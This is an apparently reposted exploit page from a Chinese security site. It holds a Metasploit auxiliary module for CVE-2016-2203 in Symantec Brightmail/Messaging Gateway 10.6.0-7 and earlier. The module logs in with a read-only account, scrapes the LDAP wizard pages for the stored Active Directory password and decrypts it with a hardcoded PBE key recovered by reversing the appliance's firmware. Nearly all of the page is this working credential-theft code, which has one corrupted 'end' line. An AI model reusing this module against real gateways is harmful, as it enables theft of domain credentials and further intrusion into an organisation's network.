首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Symantec Brightmail 10.6.0-7- LDAP Credentials Disclosure
来源:metasploit.com 作者:Reda 发布时间:2016-04-22  
# Exploit Title: Symantec Brightmail ldap credential Grabber
# Date: 18/04/2016
# Exploit Author: Fakhir Karim Reda
# Vendor Homepage: https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year&suid=20160418_00
# Version: 10.6.0-7 and earlier
# Tested on: Linux, Unox Windows
# CVE : CVE-2016-2203
 
 
#Symantec Brightmail 10.6.0-7 and earlier save the AD password somewhere in the product. By having a read account on the gateway  we can recover the AD #ACOUNT/PASSWORD 
 
#indeed the html code contains the encrypted AD password.
 
#the encryption and decryption part is implemented in Java in the appliance, by reversing the code we get to know the encryption algorithm:
 
#public static String decrypt(String password)
#{
#byte clearText[];
#try{
#PBEKeySpec keySpec = new PBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"{}`~!@#$%^&*()_+-=".toCharArray());
#SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
#SecretKey secretKey = keyFactory.generateSecret(keySpec);
#System.out.println("Encoded key "+ (new String(secretKey.getEncoded())));
 
 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
require "base64"
require 'digest'
require "openssl"
 
 
class MetasploitModule < Msf::Auxiliary
 
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec Messaging Gateway 10 LDAP Creds Graber',
      'Description'    => %q{
          This module will  grab the AD account saved in Symantec Messaging Gateway and then decipher it using the disclosed symantec pbe key.  Note that authentication is required in order to successfully grab the LDAP credentials, you need at least a read account. Version 10.6.0-7 and earlier are affected
 
      },
      'References'     =>
        [
          ['URL','https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00'],
          ['CVE','2016-2203'],
          ['BID','86137']
        ],
 
      'Author'         =>
        [
          'Fakhir Karim Reda <karim.fakhir[at]gmail.com>'
        ],
       'DefaultOptions' =>
        {
          'SSL' => true,
          'SSLVersion' => 'TLS1',
          'RPORT' => 443
        },
       'License'        => MSF_LICENSE,
       'DisclosureDate' => "Dec 17 2015"
    ))
    register_options(
      [
        OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1]),
        Opt::RPORT(443),
        OptString.new('USERNAME', [true, 'The username to login as']),
        OptString.new('PASSWORD', [true, 'The password to login with'])
      ], self.class)
    deregister_options('RHOST')
  end
 
 
  def print_status(msg='')
    super("#{peer} - #{msg}")
  end
 
  def print_good(msg='')
    super("#{peer} - #{msg}")
  end
 
  def print_error(msg='')
    super("#{peer} - #{msg}")
  end
 
  def report_cred(opts)
   service_data = {
    address: opts[:ip],
    port: opts[:port],
    service_name: 'LDAP',
    protocol: 'tcp',
    workspace_id: myworkspace_id
   }
   credential_data = {
    origin_type: :service,
    module_fullname: fullname,
    username: opts[:user],
    private_data: opts[:password],
    private_type: :password
   }.merge(service_data)
   login_data = {
    last_attempted_at: DateTime.now,
    core: create_credential(credential_data),
    status: Metasploit::Model::Login::Status::SUCCESSFUL,
    proof: opts[:proof]
   }.merge(service_data)
 
   create_credential_login(login_data)
  end
 
  def auth(username, password, sid, last_login)
    # Real JSESSIONID  cookie
    sid2 = ''
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => '/brightmail/login.do',
      'headers'   => {
        'Referer' => "https://#{peer}/brightmail/viewLogin.do",
        'Connection' => 'keep-alive'
      },
      'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
      'vars_post' => {
        'lastlogin'  => last_login,
        'userLocale' => '',
        'lang'       => 'en_US',
        'username'   => username,
        'password'   => password,
        'loginBtn'   => 'Login'
      }
    })
   if res.body =~ /Logged in/
      sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
      return sid2
   end
   if res and res.headers['Location']
     mlocation = res.headers['Location']
     new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0]
     res = send_request_cgi({
        'uri'    => new_uri,
        'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}"
     })
     sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
     return sid2  if res and res.body =~ /Logged in/
   end
   return false
  end
 
  def get_login_data
    sid        = ''  #From cookie
    last_login = ''  #A hidden field in the login page
    res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
    if res and !res.get_cookies.empty?
      sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
    end
    if res
      last_login = res.body.scan(/<input type="hidden" name="lastlogin" value="(.+)"\/>/).flatten[0] || ''
    end
    return sid, last_login
  end
 
  # Returns the status of the listening port.
  #
  # @return [Boolean] TrueClass if port open, otherwise FalseClass.
 
  def port_open?
    begin
      res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT'])
      return true if res
    rescue ::Rex::ConnectionRefused
      print_status("#{peer} - Connection refused")
      return false
    rescue ::Rex::ConnectionError
      print_error("#{peer} - Connection failed")
      return false
    rescue ::OpenSSL::SSL::SSLError
      print_error("#{peer} - SSL/TLS connection error")
      return false
    end
  end
 
  # Returns the derived key from the password, the salt and the iteration count number.
  #
  # @return Array of byte containing the derived key.
  def get_derived_key(password, salt, count)
    key = password + salt
    for i in 0..count-1
        key = Digest::MD5.digest(key)
    end
    kl = key.length
    return key[0,8], key[8,kl]
  end
 
 
  # @Return the deciphered password
  # Algorithm obtained by reversing the firmware
  #
  def decrypt(enc_str)
    pbe_key="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-="
    salt = (Base64.strict_decode64(enc_str[0,12]))
    remsg = (Base64.strict_decode64(enc_str[12,enc_str.length]))
    (dk, iv) = get_derived_key(pbe_key, salt, 1000)
    alg = "des-cbc"
    decode_cipher = OpenSSL::Cipher::Cipher.new(alg)
    decode_cipher.decrypt
    decode_cipher.padding = 0
    decode_cipher.key = dk
    decode_cipher.iv = iv
    plain = decode_cipher.update(remsg)
    plain << decode_cipher.final
    return  plain.gsub(/[\x01-\x08]/,'')
  end
 
 def grab_auths(sid,last_login)
  token = '' #from hidden input
  selected_ldap = '' # from checkbox input
  new_uri = '' # redirection
  flow_id = '' # id of the flow
  folder = '' # symantec folder
  res = send_request_cgi({
   'method'    => 'GET',
   'uri'       => "/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
   'headers'   => {
    'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
    'Connection' => 'keep-alive'
   },
   'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid};"
   })
   if res
    token = res.body.scan(/<input type="hidden" name="symantec.brightmail.key.TOKEN" value="(.+)"\/>/).flatten[0] || ''
    selected_ldap = res.body.scan(/<input type="checkbox" value="(.+)" name="selectedLDAP".+\/>/).flatten[0] || ''
   else
    return false
   end
   res = send_request_cgi({
    'method'    => 'POST',
    'uri'       => "/brightmail/setting/ldap/LdapWizardFlow$edit.flo",
    'headers'   => {
     'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
     'Connection' => 'keep-alive'
    },
    'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
    'vars_post'  => {
     'flowId'  => '0',
     'userLocale' => '',
     'lang'       => 'en_US',
     'symantec.brightmail.key.TOKEN'=> "#{token}",
     'selectedLDAP' => "#{selected_ldap}"
    }
   })
   if res and res.headers['Location']
    mlocation = res.headers['Location']
    new_uri = res.headers['Location'].scan(/^https:\/\/[\d\.]+(\/.+)/).flatten[0]
    flow_id =  new_uri.scan(/.*\?flowId=(.+)/).flatten[0]
    folder = new_uri.scan(/(.*)\?flowId=.*/).flatten[0]
   else
    return false
   end
   res = send_request_cgi({
    'method'    => 'GET',
    'uri'       => "#{folder}",
    'headers'   => {
     'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
     'Connection' => 'keep-alive'
    },
    'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
    'vars_get'  => {
     'flowId'  => "#{flow_id}",
     'userLocale' => '',
     'lang'       => 'en_US'
    }
   })
   if res and res.code == 200
    login = res.body.scan(/<input type="text" name="userName".*value="(.+)"\/>/).flatten[0] || ''
    password = res.body.scan(/<input type="password" name="password".*value="(.+)"\/>/).flatten[0] || ''
    host =  res.body.scan(/<input name="host" id="host" type="text" value="(.+)" class/).flatten[0] || ''
    port =  res.body.scan(/<input name="port" id="port" type="text" value="(.+)" class/).flatten[0] || ''
    password = decrypt(password)
    print_good("Found login = '#{login}' password = '#{password}' host ='#{host}' port = '#{port}' ")
    report_cred(ip: host, port: port, user:login, password: password, proof: res.code.to_s)
   end
  end
 
  def run_host(ip)
    return unless port_open?
    sid, last_login = get_login_data
    if sid.empty? or last_login.empty?
      print_error("#{peer} - Missing required login data.  Cannot continue.")
      return
    end
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    sid = auth(username, password, sid, last_login)
    if not sid
      print_error("#{peer} - Unable to login.  Cannot continue.")
      return
    else
      print_good("#{peer} - Logged in as '#{username}:#{password}' Sid: '#{sid}' LastLogin '#{last_login}'")
    e   nd
    grab_auths(sid,last_login)
  end
end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Hyper-V - vmswitch.sys VmsMpCo
·Gemtek CPE7000 / WLTCS-106 - M
·PHPBack 1.3.0 - SQL Injection
·Microsoft Windows 7-10 & Serve
·Novell ServiceDesk Authenticat
·libgd 2.1.1 Signedness
·Internet Explorer 11 - MSHTML!
·Advantech WebAccess 8.0 Dashbo
·Exim perl_startup Privilege Es
·Gemtek CPE7000 - WLTCS-106 Adm
·Internet Explorer 9, 10, 11 -
·Gemtek CPE7000 - WLTCS-106 sys
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved